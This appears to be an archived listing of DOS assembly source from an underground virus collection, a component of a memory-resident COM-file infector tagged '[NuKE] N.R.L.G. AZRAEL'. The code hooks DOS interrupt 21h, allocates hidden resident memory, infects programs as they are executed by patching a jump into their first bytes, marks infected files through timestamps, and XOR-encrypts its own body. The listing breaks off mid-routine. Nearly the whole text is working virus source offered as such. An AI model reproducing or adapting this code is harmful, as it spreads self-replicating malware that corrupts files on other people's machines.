home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / nrlg / 2.N2 < prev    next >
Encoding:
Text File  |  1994-06-09  |  9.6 KB  |  202 lines
  1. ;****************************************************************
  2. ;               PROCESS TO REMAIN RESIDENT                                                                  
  3. ;****************************************************************   
  4.  
  5. mov   ax,3521h                  
  6. int   21h                        ;store the int 21 vectors 
  7. mov   word ptr [bp+int21],bx     ;in cs:int21
  8. mov   word ptr [bp+int21+2],es   ;
  9. ;---------------------------------------------------------------
  10. push cs                          ; 
  11. pop ax                           ;ax = my actual segment                             
  12. dec ax                           ;dec my segment for look my MCB
  13. mov es,ax                        ;
  14. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  15. ;---------------------------------------------------------------
  16. push cs                          ;   
  17. pop es                           ;   
  18. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  19. sub bx,17 + offset fin           ;and 100H for the PSP total
  20. mov ah,4ah                       ;used memory
  21. int 21h                          ;put the new value to MCB
  22. ;---------------------------------------------------------------
  23. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  24. mov ah,48h                      ;                              
  25. int 21h                         ;request the memory to fuck DOS!                                                 
  26. ;---------------------------------------------------------------
  27. dec ax                          ;ax=new segment 
  28. mov es,ax                       ;ax-1= new segment MCB 
  29. mov byte ptr es:[1],8           ;put '8' in the segment
  30. ;--------------------------------------------------------------                                
  31. inc ax                          ; 
  32. mov es,ax                       ;es = new segment
  33. lea si,[bp + offset start]      ;si = start of virus 
  34. mov di,100h                     ;di = 100H (psp position) 
  35. mov cx,offset fin - start       ;cx = lag of virus
  36. push cs                         ;
  37. pop ds                          ;ds = cs
  38. cld                             ;mov the code
  39. rep movsb                       ;ds:si >> es:di
  40. ;--------------------------------------------------------------
  41. mov dx,offset virus             ;dx = new int21 handler
  42. mov ax,2521h                    ;
  43. push es                         ; 
  44. pop ds                          ; 
  45. int 21h                         ;set the vectors 
  46. ;-------------------------------------------------------------
  47. pum2:                               ;  
  48.                                     ; 
  49. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  50. mov byte ptr cs:[100h],ah           ;first bytes  
  51. mov ax,word ptr [cs:bp + real + 1]  ;
  52. mov word ptr cs:[101h],ax           ;
  53. ;-------------------------------------------------------------
  54. mov ax,100h                         ;
  55. jmp ax                              ;jmp to execute
  56.                                     ;
  57. ;*****************************************************************
  58. ;*             HANDLER FOR THE INT 21H                                       
  59. ;*****************************************************************
  60.                           ;          
  61. VIRUS:                    ;  
  62.                           ;     
  63. cmp ah,4bh                ;is a 4b function? 
  64. je REPRODUCCION           ;yes! jump to reproduce !
  65. cmp ah,11h
  66. je dir
  67. cmp ah,12h
  68. je dir
  69. dirsal:
  70. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  71. jne a3                    ;no! jump to a3
  72. mov bh,0cah               ;yes! put ca in bh
  73. a3:                       ;
  74. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  75. ret                       ;    
  76. make db '[NuKE] N.R.L.G. AZRAEL'
  77. dir:
  78. jmp dir_s
  79. ;-------------------------------------------------------------
  80. REPRODUCCION:              ;       
  81.                            ;
  82. pushf                      ;put the register
  83. pusha                      ;in the stack
  84. push si                    ;
  85. push di                    ;
  86. push bp                    ;
  87. push es                    ;
  88. push ds                    ;
  89. ;-------------------------------------------------------------
  90. push cs                    ;  
  91. pop ds                     ;  
  92. mov ax,3524H               ;get the dos error control                      
  93. int 21h                    ;interupt                        
  94. mov word ptr error,es      ;and put in cs:error                      
  95. mov word ptr error+2,bx    ;            
  96. mov ax,2524H               ;change the dos error control                    
  97. mov dx,offset all          ;for my "trap mask"                      
  98. int 21h                    ;         
  99. ;-------------------------------------------------------------
  100. pop ds                     ;
  101. pop es                     ;restore the registers
  102. pop bp                     ;
  103. pop di                     ;
  104. pop si                     ;
  105. popa                       ;
  106. popf                       ;
  107. ;-------------------------------------------------------------
  108. pushf                      ;put the registers
  109. pusha                      ;     
  110. push si                    ;HEY! AZRAEL IS CRAZY?
  111. push di                    ;PUSH, POP, PUSH, POP
  112. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  113. push es                    ;PURIFY THIS SHIT!
  114. push ds                    ;
  115. ;-------------------------------------------------------------
  116. mov ax,4300h                 ;       
  117. int 21h                      ;get the file     
  118. mov word ptr cs:[attrib],cx  ;atributes   
  119. ;-------------------------------------------------------------
  120. mov ax,4301h                 ;le saco los atributos al        
  121. xor cx,cx                    ;file 
  122. int 21h                      ;
  123. ;-------------------------------------------------------------  
  124. mov ax,3d02h                 ;open the file 
  125. int 21h                      ;for read/write
  126. mov bx,ax                    ;bx=handle
  127. ;-------------------------------------------------------------
  128. mov ax,5700h                ;     
  129. int 21h                     ;get the file date  
  130. mov word ptr cs:[hora],cx   ;put the hour    
  131. mov word ptr cs:[dia],dx    ;put the day    
  132. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  133. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  134. jne seguir                  ;yes! the file is infected!     
  135. jmp cerrar                  ;
  136. ;------------------------------------------------------------
  137. seguir:                     ;     
  138. mov ax,4202h                ;move the pointer to end
  139. call movedor                ;of the file
  140. ;------------------------------------------------------------
  141. push cs                     ;   
  142. pop ds                      ; 
  143. sub ax,3                    ;calculate the 
  144. mov word ptr [cs:largo],ax  ;jmp long
  145. ;-------------------------------------------------------------
  146. mov ax,04200h               ;move the pointer to  
  147. call movedor                ;start of file
  148. ;----------------------------------------------------------                                          
  149. push cs                     ;   
  150. pop ds                      ;read the 3 first bytes  
  151. mov ah,3fh                  ;                           
  152. mov cx,3                    ;
  153. lea dx,[cs:real]            ;put the bytes in cs:[real]
  154. int 21h                     ;
  155. ;----------------------------------------------------------                                          
  156. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  157. jne er1                         ;yes! is a EXE... fuckkk!
  158. ;----------------------------------------------------------
  159. jmp cerrar
  160. er1:
  161. ;----------------------------------------------------------                                          
  162. mov ax,4200h      ;move the pointer                               
  163. call movedor      ;to start fo file
  164. ;----------------------------------------------------------                                          
  165. push cs           ;       
  166. pop ds            ; 
  167. mov ah,40h        ;  
  168. mov cx,1          ;write the JMP
  169. lea dx,[cs:jump]  ;instruccion in the
  170. int 21h           ;fist byte of the file
  171. ;----------------------------------------------------------                                          
  172. mov ah,40h         ;write the value of jmp
  173. mov cx,2           ;in the file 
  174. lea dx,[cs:largo]  ; 
  175. int 21h            ;
  176. ;----------------------------------------------------------                                          
  177. mov ax,04202h      ;move the pointer to 
  178. call movedor       ;end of file
  179. ;----------------------------------------------------------                                          
  180. push cs                     ;        
  181. pop ds                      ;move the code  
  182. push cs                     ;of my virus      
  183. pop es                      ;to cs:end+50     
  184. cld                         ;for encrypt          
  185. mov si,100h                 ;    
  186. mov di,offset fin + 50      ;      
  187. mov cx,offset fin - 100h    ;        
  188. rep movsb                   ;      
  189. ;----------------------------------------------------------                                          
  190. mov cx,offset fin           
  191. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  192. enc:                              ;           
  193. xor byte ptr cs:[di],1            ;encrypt the virus              
  194. inc di                            ;code                   
  195. loop enc                          ;              
  196. ;---------------------------------------------------------
  197. mov cx,offset fin           
  198. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  199. mov dx,1
  200. enc2:                              ;           
  201.  
  202.